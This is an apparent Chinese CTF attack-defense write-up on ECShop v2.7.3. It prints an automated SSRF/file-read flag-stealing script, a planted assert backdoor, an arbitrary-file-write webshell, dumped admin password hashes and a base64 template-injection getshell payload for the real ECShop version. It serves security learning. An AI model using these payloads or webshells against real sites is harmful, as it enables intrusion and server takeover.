线下AD&代码审计&ECShop V2.7.3

前言

最近刚参加完一个线下赛,模式是AD攻防,由于时间紧迫,只有3个小时,官方给出了大部分poc和问题文件位置。
规则很简单,让对方的极其请求http://10.0.1.2,并带上自己的token,即可获取flag
这里罗列一下官方线索
poc1:

post方式
文件url:http://10.50.%s.2/mobile/index.php
参数:url=http://10.0.1.2?token=RCNWBJXQ

poc2:

post方式
文件url:http://10.50.33.2/mobile/index.php?m=default&c=auction
参数:1=phpinfo()

提示线索1

mobile/themes/default/auction_list.dwt

提示线索2

mobile/api/uc.php

任意文件读取(poc 1)

根据给出的poc1,我们快速去定位问题文件位置
我们从mobile入口文件入手
即:

mobile/index.php

查看内容

<?php
/* 访问控制 */
define('IN_ECTOUCH', true);
/* 设置系统编码格式 */
header("Content-Type:text/html;charset=utf-8");
/* 设置系统编码格式 */
header("Pragma: no-cache");
/* 修复后退没有提交数据的问题 */
header("Cache-control: private");
/* 加载核心文件 */ 
require ('include/EcTouch.php');

跟踪文件

require ('include/EcTouch.php');

看到内容

if (version_compare(PHP_VERSION, '5.2.0', '<')) die('require PHP > 5.2.0 !');
defined('BASE_PATH') or define('BASE_PATH', dirname(__FILE__) . '/');
defined('ROOT_PATH') or define('ROOT_PATH', realpath(dirname(__FILE__) . '/../') . '/');
defined('APP_PATH') or define('APP_PATH', BASE_PATH . 'apps/');
defined('ADDONS_PATH') or define('ADDONS_PATH', ROOT_PATH . 'plugins/');
defined('DEFAULT_APP') or define('DEFAULT_APP', 'default');
defined('DEFAULT_CONTROLLER') or define('DEFAULT_CONTROLLER', 'Index');
defined('DEFAULT_ACTION') or define('DEFAULT_ACTION', 'index');

跟踪apps/目录
可以发现3个文件夹

admin
default
install

我们首先查看默认文件的文件夹

default

此时又得到5个文件夹

common
conf
controller
language
model

从第一个common文件夹开始
可以看到insert.php中的一个函数

function insert_ads($arr) {
}

看到关键代码

switch ($row['media_type']) {
            case 0: // 图片广告
                ......
                break;
            case 2: // CODE
                $ads[] = $row['ad_code'];
                break;
            case 3: // TEXT
                $ads[] = "<a href='" . url('default/affiche/index', array('ad_id' => $row['ad_id'], 'uri' => urlencode($row["ad_link"]))) . "'
                target='_blank'>" . htmlspecialchars($row['ad_code']) . '</a>';
                break;
            case 4: // url
                $ads[] = file_get_contents($_POST['url']);
        }

其中

case 4: // url
    $ads[] = file_get_contents($_POST['url']);

明显是一个任意文件读取
随机我写出了一个快速利用的脚本,同时也是大部分依靠这个脚本,在剩余的时间里迅速拿分,奠定了第一的基础

import requests
import re
import time
data = {
    "url":"http://10.0.1.2?token=RCNWBJXQ"
}
url = "http://10.50.%s.2/mobile/index.php"
while True:
    for x in range(0,37):
        urll = url%x
        try:
            r = requests.post(url=urll,data=data,timeout=3)
            flag =  re.findall('<li>.*?</li>',r.content)[0][4:-5]
            flagurl = "https://192.168.37.180/match/WAR20/oapi?atn=answers&token=RCNWBJXQ&flag=%s"%flag
            r = requests.get(url=flagurl,verify=False)
            if "wrong answer." not in r.content:
                print flag
                print r.content
        except:
            pass
        print "attack ip times: "+str(x)
    time.sleep(60)

一句话木马文件(poc 2)

当时官方给出提示:auction_list.dwt文件
在目录

mobile/themes/default/auction_list.dwt

可以发现问题

<div class="con">{:assert($_POST[1])}

由于此文件用于渲染,直接将小马删除即可

任意写文件

定位到mobile/api/uc.php
在action数组中发现了一些奇怪的东西

if (in_array($get['action'], array(
    'test',
    'deleteuser',
    'renameuser',
    'gettag',
    'synlogin',
    'synlogout',
    'updatepw',
    'updatebadwords',
    'updatehosts',
    'updateapps',
    'updateclient',
    'updatecredit',
    'getcreditsettings',
    'updatecreditsettings',
    'writesth'
)))

最后一个writesth十分瞩目,一看就应该是主办方留下的功能,我们全局搜索这个writesth函数
不难发现以下关键代码

function writesth($get, $post){
        $cachefile = $this->appdir .$get['name'];
        $fp = fopen($cachefile, 'w');
        $s = "<?phprn";
        $s .= $get['content'];
        fwrite($fp, $s);
        fclose($fp);
        return API_RETURN_SUCCEED;
    }

即:
文件名可控
文件内容可控
即可写入Webshell
我们测试

<?php 
function writesth($name, $content){
        $cachefile = './'.$name;
        $fp = fopen($cachefile, 'w');
        $s = "<?phprn";
        $s .= $content;
        fwrite($fp, $s);
        fclose($fp);
}

$name='sky.php';
$content = '@eval($_POST[sky]);';
writesth($name,$content);
?>

运行即可发现我们当前目录下写入sky.php,内容为

<?php
@eval($_POST[sky]);

但是由于当时的环境里,只有data目录有可写全写,而我们默认路径为

$cachefile = $this->appdir .$get['name'];

所以直接写可能无效,应该选择上跳,例如

../data/sky.php

即可写成,但是这些方法有些鸡肋,因为当时大部分机器都将data目录更改为不可写了= =

 

一些其他的线索

当时拿到题目,我们首先发现是有后台管理员界面的
所以我们第一反应是去拿数据库读取管理员密码
我们很容易定位到sql语句

LOCK TABLES `ecs_admin_user` WRITE;
/*!40000 ALTER TABLE `ecs_admin_user` DISABLE KEYS */;
INSERT INTO `ecs_admin_user` VALUES (1,'admin','admin@admin.com','ce87383d32dc96aae134975176fd0bf4','6083',1523498965,1523499019,'192.168.28.155','all','商品列表|goods.php?act=list,订单列表|order.php?act=list,用户评论|comment_manage.php?act=list,会员列表|users.php?act=list,商店设置|shop_config.php?act=list_edit','',0,0,NULL,NULL),(2,'bjgonghuo1','bj@163.com','d0c015b6eb9a280f318a4c0510581e7e',NULL,1245044099,0,'','','商品列表|goods.php?act=list,订单列表|order.php?act=list,用户评论|comment_manage.php?act=list,会员列表|users.php?act=list,商店设置|shop_config.php?act=list_edit','',0,1,'',NULL),(3,'shhaigonghuo1','shanghai@163.com','4146fecce77907d264f6bd873f4ea27b',NULL,1245044202,0,'','','商品列表|goods.php?act=list,订单列表|order.php?act=list,用户评论|comment_manage.php?act=list,会员列表|users.php?act=list,商店设置|shop_config.php?act=list_edit','',0,2,'',NULL);
/*!40000 ALTER TABLE `ecs_admin_user` ENABLE KEYS */;
UNLOCK TABLES;

可以看到关键数据

(1,'admin','admin@admin.com','ce87383d32dc96aae134975176fd0bf4','6083',1523498965,1523499019,'192.168.28.155','all','商品列表|goods.php?act=list,订单列表|order.php?act=list,用户评论|comment_manage.php?act=list,会员列表|users.php?act=list,商店设置|shop_config.php?act=list_edit','',0,0,NULL,NULL)

我们查看一下表结构

CREATE TABLE `ecs_admin_user` (
  `user_id` smallint(5) unsigned NOT NULL AUTO_INCREMENT,
  `user_name` varchar(60) NOT NULL DEFAULT '',
  `email` varchar(60) NOT NULL DEFAULT '',
  `password` varchar(32) NOT NULL DEFAULT '',
  `ec_salt` varchar(10) DEFAULT NULL,
  `add_time` int(11) NOT NULL DEFAULT '0',
  `last_login` int(11) NOT NULL DEFAULT '0',
  `last_ip` varchar(15) NOT NULL DEFAULT '',
  `action_list` text NOT NULL,
  `nav_list` text NOT NULL,
  `lang_type` varchar(50) NOT NULL DEFAULT '',
  `agency_id` smallint(5) unsigned NOT NULL,
  `suppliers_id` smallint(5) unsigned DEFAULT '0',
  `todolist` longtext,
  `role_id` smallint(5) DEFAULT NULL,
  PRIMARY KEY (`user_id`),
  KEY `user_name` (`user_name`),
  KEY `agency_id` (`agency_id`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8;

不难看出应该密码加密方式为

md5(salt.password)

如果能使用cmd5应该是可以解密的,但是由于内网环境,我们不得不进行弱密码fuzz
但是很幸运,我们拿到了弱密码:admin888
登入后台后,我们发现几乎所有模板都没有可写权限(可能是主办方设置吧)
结束后我搜索了一下ECShop v2.7.3版本的漏洞,没想到真的是后台可以Getshell
参考链接

https://www.uedbox.com/ecshop-v2-7-3-shell/

直接修改模板信息为

${${fputs(fopen(base64_decode(c2t5LnBocA==),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1Rbc2t5XSk/Pg==))}}

即可获得shell
sky.php

<?php eval($_POST[sky])?>

详细漏洞分析文章

https://www.cnblogs.com/newgold/archive/2016/04/13/5386600.html

 

后记

由于比赛时间短,留下的后门难度并不是很大,如果比赛时间是一天的话,可能打起来会比较精彩,可惜由于时间因素,官方给出线索和poc,不过话说回来,后门虽然简单,但是留的还行,webshell查杀工具竟然都没找出来XD

(完)